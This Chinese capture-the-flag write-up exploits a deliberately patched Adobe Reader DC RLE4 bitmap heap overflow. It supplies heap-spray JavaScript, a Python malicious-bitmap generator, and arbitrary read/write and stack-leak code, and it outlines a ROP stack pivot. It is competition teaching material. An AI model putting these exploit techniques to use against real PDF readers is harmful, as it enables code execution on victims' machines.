文章首发于安全KER https://www.anquanke.com/post/id/222391
0x00 前言 第一次来强网杯线下,接触了realword题,收获很大,深有感触题目信息: **题目名称:**ADoBe **旗帜名称:**ADB **题目描述:**附件中给出了一个Adobe Reader DC可执行程序,请挖掘并利用该程序中的漏洞,在靶机中弹出计算器程序。 靶机环境:Win10 虚拟机,默认安装配置,系统补丁安装至最新。系统安装了附件中提供中的Adobe Reader DC程序,并已关闭程序沙箱。 **附件信息:**Adobe Reader DC程序及相关Dll文件,版本均与靶机中的一致。 展示环境拓扑:交换机连接选手攻击机和展示机,展示机使用VMware(最新版)运行靶机,靶机通过NAT方式连接到网络。 展示过程:选手携带自己的攻击机上台展示题解,攻击机需运行HTTP服务,供操作员下载能够利用程序漏洞的PDF文档。操作员打开PDF文档后,在规定的时间内,在靶机中弹出计算器程序判定为题解正确。注意事项: (1)在解题时,可通过在注册表项 HKLM\SOFTWARE\Wow6432Node\Policies\Adobe\Acrobat Reader\DC\FeatureLockDown中修改键值项bProtectedMode(DWORD类型),赋值为0来关闭Adobe Reader DC程序的沙箱; (2)上台展示题解的时候注意关闭exp的调试信息。
0x01 挖掘过程 从题目描述可以看出,这是要让我们对这个patch过的adobe reader软件进行漏洞挖掘,为了找出漏洞点,我们需要下载与当前版本一致的官方版本进行对比。 将官方版本下载安装后,我们写一个脚本来查找到底是哪一个文件被patch过,脚本如下,就是简单的内容比对。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import ossrc_dir = u'C:\\Users\\Administrator\\Desktop\\realword\\Adobe附件\\Adobe\\Acrobat Reader DC' comp_dest = u'C:\\Program Files (x86)\\Adobe\Acrobat Reader DC' def list_all_files (rootdir ):_files = [] list_file = os.listdir(rootdir) for i in range (0 ,len (list_file)):path = os.path.join(rootdir,list_file[i]) if os.path.isdir(path):_files.extend(list_all_files(path)) if os.path.isfile(path):_files.append(path) return _filesfiles = list_all_files(src_dir) for path in files:path2 = comp_dest + '\\' + path[len (src_dir)+1 :] f = open (path,'rb' ) content1 = f.read() f.close() try :f = open (path2,'rb' ) content2 = f.read() f.close() except :continue if content1 != content2:print path
经过比对,发现仅一个文件被修改过,那就是Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api文件,接下来,利用Fairdell HexCmp2差异对比工具来对比AcroForm.api与官方文件的差异之处。结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Different between: First file: "C:\Users\Administrator\Desktop\AcroForm.api" Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api" Shift: 0 ------------------------------------------------------------------------ First file: "C:\Users\Administrator\Desktop\AcroForm.api" Second file: "C:\Users\Administrator\Desktop\AcroForm_patched.api" Shift: 0 Shift: 0 ------------------------------------------------------------------------ 000001E0 | 68 F0 E2 30 1E | 000001E0 | 00 00 00 00 00 | ------------------------------------------------------------------------ 0054B098 | 87 | 0054B098 | 8F | ------------------------------------------------------------------------ 0054B0C0 | EE | 0054B0C0 | FE | ------------------------------------------------------------------------
打开IDA分析,跳转到差异地址处,发现指令由无符号指令patch成了有符号指令 这题patch后的漏洞类型与腾讯安全玄武实验室分析CVE-2019-8014类似,甚至可以说,本题比CVE-2019-8014的利用更加简单方便,首先阅读腾讯实验室的文章,可以发现CVE-2019-8014的堆溢出写数据,不能做到很精准的控制,如果要向前溢出修改ArrayBuffer的byteLength时,那么从byteLength处到溢出堆的起始点都会被覆盖为同一个数据,也就是ArrayBuffer的DataView指针也会被覆盖,进程使用ArrayBuffer对象时会因为其DataView指针指向一个无效地址而崩溃,因此该利用需要事先在对应位置布置好fake DataView堆布局。
ArrayBuffer ArrayBuffer是JavaScript里的一种类,可以理解为是一个字节数组的包装类,如果要对ArrayBuufer的内存进行读写,就需要建立DataView对象来进行操作。在Adobe中,使用的JS引擎为SpiderMonkey,在早期的Adobe Reader中,其JS的版本不支持ArrayBuffer这个类,好在这是最新版的Adobe Reader,其ArrayBuffer类的大致结构如下
1 2 3 4 5 6 7 8 9 class ArrayBuffer { public: uint32_t flags; uint32_t byteLength; uint32_t dataview_obj; uint32_t length; };
结合JS达到利用 由于Adobe Reader本身支持JavaScript,我们希望利用堆溢出修改ArrayBuffer的byteLength为0xFFFFFFFF ,从而使得该ArrayBuffer具有任意地址读写的能力,然后可以利用JavaScript对内存进行读写,劫持程序流;为了达到这个目的,首先我们得利用堆喷构造好堆布局如下 我们希望在Adobe Reader解析bitmap之前时,ArrayBuffer对象后方能间隔的出现一些已经释放了的堆(“空洞”),这样解析bitmap时,存放bitmap的解压数据的堆(line)正好落到空洞里,然后通过bitmap解析时的堆溢出,向前方溢出,修改ArrayBuffer里的byteLength。
精准控制内存 首先,xpos_是完全可以通过伪造bitmap,使得其值累加到0xFFFFFFFF,由于这里xpos_是有符号数,因此右移1位的操作,其符号位不变,仍然可以保持为负数,正是因为其符号能保持为负数,我们可以精准的向上方溢出。 为了确定溢出的距离,我们使用动态调试,这里,我们选择堆喷的大小为0x140,因此,我们事先new ArrayBuffer(0x130),然后间隔的释放一些ArrayBuffer对象。在Adobe Reader的pdf文档里,我们可以在xdp标签里嵌入
1 2 3 4 <event activity="initialize" name="event__initialize" > <script contentType ="application/x-javascript" > </script > </event>
该标签里的脚本会在Adobe Reader打开pdf文件开始时执行,也就是在解析bitmap之前执行,因此,我们可以在这里进行堆喷布局,pdf模板内xdp标签内的关键内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <variables> <script name ="spray" contentType ="application/x-javascript" > var size = 200 ; var array = new Array (size); </script > <?templateDesigner expand 1 ?> </variables> <event activity ="initialize" name ="event__initialize" > <script contentType ="application/x-javascript" > function fillHeap ( ) { var i; var j; spray.array [0 ] = new ArrayBuffer (0x130 ); for (i = 0 ; i < spray.array .length ; ++i) { spray.array [i] = spray.array [0 ].slice (); } for (j = 0 ; j < 0x1000 ; j++) { for (i = spray.size - 1 ; i > spray.size / 4 ; i -= 10 ) { spray.array [i] = null ; } } } fillHeap (); app.alert ("[!] ready to go" ); </script > </event >
堆布局配置好了,接着我们分析一下程序如何才能到达漏洞点进而溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 unsigned int __thiscall sub_20D4B4AF (_DWORD *this) { _DWORD *v1; int v2; bool v3; int v4; unsigned int v5; int v6; int v7; int v8; unsigned __int16 v9; int v10; unsigned int v11; int v12; int v13; int v14; int v15; int v16; _DWORD *v17; int v18; int v19; int v20; double v21; double v22; __int16 v23; unsigned int height; unsigned int result; unsigned int v26; int v27; int v28; int v29; int v30; int v31; unsigned int v32; int v33; int v34; int v35; int v36; int v37; unsigned int v38; int v39; unsigned int v40; char v41; unsigned int v42; int v43; int v44; int v45; unsigned int v46; int v47; int v48; int v49; unsigned int v50; int v51; int v52; bool v53; int v54; unsigned int xpos; int v56; char v57; int v58; unsigned int v59; unsigned int v60; unsigned int v61; char v62; int v63; int v64; unsigned int v65; _DWORD *v66; char v67; int v68; char v69; bool v70; int v71; int v72; int v73; signed int v74; int ypos_1; unsigned int dst_xpos; signed int xpos_; char index; signed int byte_slot; int odd_index; _DWORD *v81; unsigned __int8 _4bits; int line; unsigned __int8 _4bits_1; int v85; unsigned int v86; int v87; int v88; int v89; int v90; int v91; int v92; int v93; unsigned int v94; unsigned int v95; int v96; int v97; int v98; int v99; int v100; int v101; signed int v102; signed int v103; int v104; char v105; void **v106; int v107; int v108; int v109; char v110; int width_1; int v112; __int16 v113; unsigned __int16 bit_count; unsigned int biCompression; int v116; int v117; unsigned int v118; int v119; char v120; void **v121; int v122; int v123; int v124; unsigned int v125; unsigned __int8 xdelta; int cmd; char v128; int v129; __int16 ydelta; unsigned int width; unsigned __int8 v132; unsigned int bitmap_ends; unsigned int v134; char v135; unsigned int v136; unsigned __int8 low_4bits; unsigned __int8 high_4bits; unsigned int ypos; char v140; v1 = this; if ( !this[2 ] ) _Mtx_lock_2(16479 ); fn_read_bytes(&v140, 14 ); sub_20D4AFFB(&v110); v2 = v1[2 ]; fn_read_bytes(&v110, 40 ); if ( v113 != 1 ) goto LABEL_175; width = 4 ; if ( bit_count == 1 ) goto LABEL_9; if ( bit_count == 4 ) { if ( !biCompression ) goto LABEL_11; v3 = biCompression == 2 ; goto LABEL_10; } if ( bit_count != 8 ) { if ( bit_count != 24 ) { LABEL_8: sub_20E0D4B3(&v120, 17996 , 0 ); goto LABEL_176; } LABEL_9: v3 = biCompression == 0 ; goto LABEL_10; } if ( !biCompression ) goto LABEL_11; v3 = biCompression == 1 ; LABEL_10: if ( !v3 ) goto LABEL_8; LABEL_11: v4 = bit_count * width_1; if ( v4 <= 0 || v4 < width_1 || v4 < bit_count ) { sub_20E0D4B3(&v120, 16479 , 0 ); goto LABEL_176; } .................................................................. if ( biCompression == 2 ) { v54 = v1[2 ]; xpos = 0 ; ypos = v112 - 1 ; bitmap_ends = 0 ; v136 = 0 ; result = fn_feof(v54, v10); if ( !result ) { while ( 1 ) { if ( bitmap_ends ) return result; v56 = v1[2 ]; fn_read_bytes(&cmd, 2 ); v57 = BYTE1(cmd); if ( (_BYTE)cmd ) break ; v58 = BYTE1(cmd); if ( BYTE1(cmd) ) { if ( BYTE1(cmd) == 1 ) { v74 = 1 ; bitmap_ends = 1 ; goto LABEL_152; } if ( BYTE1(cmd) != 2 ) { v59 = ypos; v60 = BYTE1(cmd) + xpos; if ( ypos >= height ) goto LABEL_175; v61 = v136; if ( v60 < v136 || v60 < BYTE1(cmd) || v60 > width ) goto LABEL_175; v62 = 0 ; v134 = 0 ; if ( BYTE1(cmd) ) { do { v63 = v62 & 1 ; v125 = v62 & 1 ; if ( !(v62 & 1 ) ) { v64 = v1[2 ]; fn_read_bytes(&v132, 1 ); v128 = v132 & 0xF ; v59 = ypos; v135 = v132 >> 4 ; v63 = v125; } v65 = v61 >> 1 ; v104 = v59; v66 = (_DWORD *)v1[3 ]; if ( v61 & 1 ) { if ( v63 ) { v68 = fn_get_scanline(v66, v104); v69 = v128; } else { v68 = fn_get_scanline(v66, v104); v69 = v135; } *(_BYTE *)(v65 + v68) |= v69; } else { v67 = v135; if ( v63 ) v67 = v128; *(_BYTE *)(fn_get_scanline(v66, v104) + v65) = 16 * v67; v61 = v136; } ++v61; v57 = BYTE1(cmd); v62 = v134 + 1 ; v70 = v134 + 1 < BYTE1(cmd); v136 = v61; v59 = ypos; ++v134; } while ( v70 ); } if ( (v57 & 3u ) - 1 <= 1 ) { v71 = v1[2 ]; fn_read_bytes(&v132, 1 ); } LABEL_150: xpos = v136; goto LABEL_151; } v72 = v1[2 ]; fn_read_bytes(&xdelta, 1 ); v73 = v1[2 ]; fn_read_bytes((char *)&ydelta + 1 , 1 ); xpos += xdelta; ypos -= HIBYTE(ydelta); v136 = xpos; } else { --ypos; xpos = 0 ; v136 = 0 ; } LABEL_151: v74 = bitmap_ends; LABEL_152: result = fn_feof(v1[2 ], v58); if ( result ) { v53 = v74 == 0 ; goto LABEL_106; } height = v129; } v58 = (unsigned __int8)cmd; high_4bits = BYTE1(cmd) >> 4 ; ypos_1 = ypos; low_4bits = BYTE1(cmd) & 0xF ; dst_xpos = (unsigned __int8)cmd + xpos; if ( ypos >= height ) goto LABEL_175; if ( (signed int )dst_xpos > (signed int )width ) goto LABEL_175; xpos_ = v136; if ( dst_xpos < v136 || dst_xpos < (unsigned __int8)cmd ) goto LABEL_175; index = 0 ; v134 = 0 ; if ( (_BYTE)cmd ) { do { byte_slot = xpos_ >> 1 ; odd_index = index & 1 ; v81 = (_DWORD *)v1[3 ]; if ( xpos_ & 1 ) { if ( odd_index ) { line = fn_get_scanline(v81, ypos_1); _4bits_1 = low_4bits; } else { line = fn_get_scanline(v81, ypos_1); _4bits_1 = high_4bits; } *(_BYTE *)(byte_slot + line) |= _4bits_1; } else { _4bits = high_4bits; if ( odd_index ) _4bits = low_4bits; *(_BYTE *)(fn_get_scanline(v81, ypos_1) + byte_slot) = 16 * _4bits; xpos_ = v136; } ++xpos_; index = v134 + 1 ; v70 = v134 + 1 < (unsigned __int8)cmd; v136 = xpos_; ypos_1 = ypos; ++v134; } while ( v70 ); } goto LABEL_150; } } LABEL_175: sub_20E0D4B3(&v120, 17993 , 0 ); LABEL_176: CxxThrowException(&v120, &_TI2_AVjfExFull__); }
从中可以分析出COMPRESSION=2,BIT_COUNT = 4,这样即当bitmap使用的是REL4压缩算法时,就可以到达漏洞处,接下来分析该bitmap的width和height应该为多少,才能够使得申请的堆落到ArrayBuffer对象之间的堆空洞里,在此处用windbg下断点进行调试 首先windbg断点,当AcroForm.api模块被加载时会断下
然后断点
1 bp 0x54bcc8 +AcroForm_base
call调用的是fn_get_scanline函数,返回的是一个堆地址
我们查看这个堆的头部以及附近的内容,可以发现其前方0x144处,正是ArrayBuffer的byteLength变量,可见这里,我们堆喷成功,bitmap的解压缩数据堆成功申请到hole里
此时我们bitmap的WIDTH = 0x278,HEIGHT = 1,该bitmap的数据解压区正好申请到hole里。 并且通过调试,我们确定了溢出的距离为-0x144
,无符号数也就是0xfffffebc
,即bye_slot应该为0xfffffebc
由于这里xpos_ >> 1是一个有符号数的运算,因此xpos_的值应该为0xfffffd78
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <iostream> using namespace std ; int main () { int a = 0xfffffebc ; cout << hex << (a << 1 ) << endl ; }
而xpos是可以控制的
于是,我们可以向-0x144的位置写上4字节0xFF,使得ArrayBuffer的byteLength为0xFFFFFFFF
gen_bitmap.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import osimport sysimport structRLE8 = 1 RLE4 = 2 COMPRESSION = RLE4 BIT_COUNT = 4 CLR_USED = 1 << BIT_COUNT WIDTH = 0x278 HEIGHT = 1 def get_bitmap_file_header (file_size, bits_offset ): return struct.pack('<2sIHHI' , 'BM' , file_size, 0 , 0 , bits_offset) def get_bitmap_info_header (data_size ): return struct.pack('<IIIHHIIIIII' , 0x00000028 , WIDTH, HEIGHT, 0x0001 , BIT_COUNT, COMPRESSION, data_size, 0x00000000 , 0x00000000 , CLR_USED, 0x00000000 ) def get_bitmap_info_colors (): rgb_quad = '\x00\x00\xFF\x00' return rgb_quad * CLR_USED def get_bitmap_data (): data = '\x00\x02\xFF\x00' * (0xFFFFFD02 / 0xFF ) data += '\x00\x02\x76\x00' data += '\x08\xFF' data += '\x00\x01' return data def generate_bitmap (filepath ): data = get_bitmap_data() data_size = len (data) bmi_header = get_bitmap_info_header(data_size) bmi_colors = get_bitmap_info_colors() bmf_header_size = 0x0E bits_offset = bmf_header_size + len (bmi_header) + len (bmi_colors) file_size = bits_offset + data_size bmf_header = get_bitmap_file_header(file_size, bits_offset) with open (filepath, 'wb' ) as f: f.write(bmf_header) f.write(bmi_header) f.write(bmi_colors) f.write(data) if __name__ == '__main__' : if len (sys.argv) != 2 : print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0 ]) sys.exit(1 ) generate_bitmap(sys.argv[1 ])
当完成了这一步的修改以后,我们就已经拥有了一个具有任意地址读写的ArrayBuffer对象了,与前面的堆喷布局同理,在pdf的xdp标签里嵌入
1 2 3 4 <event activity="docReady" ref="$host" name="event__docReady" > <script contentType ="application/x-javascript" > </script > </event>
可以实现图片解析完成以后的后续操作,我们在这里,首先要查找到那个具有任意地址读写的ArrayBuffer对象,由于SpiderMonkey引擎的性质,我们可以在内存里搜索0xf0e0d0c0这个特殊数据,从而能计算出ArrayBuffer对象本身的地址,以便实现后续的读写利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 for (var i = 0 ; i < spray.array .length ; ++i) { if (spray.array [i] != null && spray.array [i].byteLength == -1 ) { var dv = new DataView (spray.array [i]);for (var j=-100 ;;j-=4 ) { var x = dv.getUint32 (j,true ); if (x == 0xf0e0d0c0 ) { var heap_addr = dv.getUint32 (j + 0xC ,true ) - 0x10 - j; var dataview_obj_addr = dv.getUint32 (-8 ,true ); app.alert ("dataview_obj=" + dataview_obj_addr.toString (16 )); var escript_base = dv.getUint32 (dataview_obj_addr + 0xC - heap_addr,true ) - 0x275510 ; var LoadLibraryA _iat = escript_base + 0x1af0d8 ; var GetProcAddress _iat = escript_base + 0x1af114 ; var VirtualProtect _iat = escript_base + 0x1af058 ; var LoadLibraryA = dv.getUint32 (LoadLibraryA _iat - heap_addr,true ); var GetProcAddress = dv.getUint32 (GetProcAddress _iat - heap_addr,true ); var VirtualProtect = dv.getUint32 (VirtualProtect _iat - heap_addr,true ); } } } }
接下来是劫持程序流,通过尝试发现程序开启了CFG控制流保护机制 因此劫持虚表为gadget不可用,绕过方法有一些,这里我直接选择劫持栈做ROP。那么得泄露栈地址,在windows下泄露栈地址不太容易,得确定teb、peb的地址,而我这里盲摸索出针对当前Adobe Reader的栈地址搜索方法,即通过dataview对象里的一连串指针,偶然发现一个接近栈地址值的指针,其位置如下
1 2 3 4 5 var tmp = dv.getUint32 (dataview_obj_addr - heap_addr,true );tmp = dv.getUint32 (tmp - heap_addr,true ); tmp = dv.getUint32 (tmp + 0xC - heap_addr,true ); var s = dv.getUint32 (tmp + 0x8 - heap_addr,true );
这里得到的s是一个栈地址,但是其地址与函数ret时的esp之间的偏移是会发生变化的,但是变化范围不大,因此可以以该地址为起点进行搜索,直到搜索到getUint32的返回地址时便可以确定具体的栈地址。
1 2 3 4 5 6 7 8 9 10 var stack_addr = 0 ; for (var k = s;k > s - 0x1000 ;k -= 4 ) { x = dv.getUint32 (k - heap_addr,true ); if (x == escript_base + 0x12e384 ) { stack_addr = k; break ; } }
接下来就利用任意地址读写,劫持ret时的esp指向的地址处为pop esp ; ret,做栈迁移,可以dv.setFloat64来完成一次性写8字节的目的,这样写完便可以完成栈迁移。
0x02 感想 第一次挖掘真实漏洞,收获挺大
0x03 参考 (深入分析Adobe忽略了6年的PDF漏洞) https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/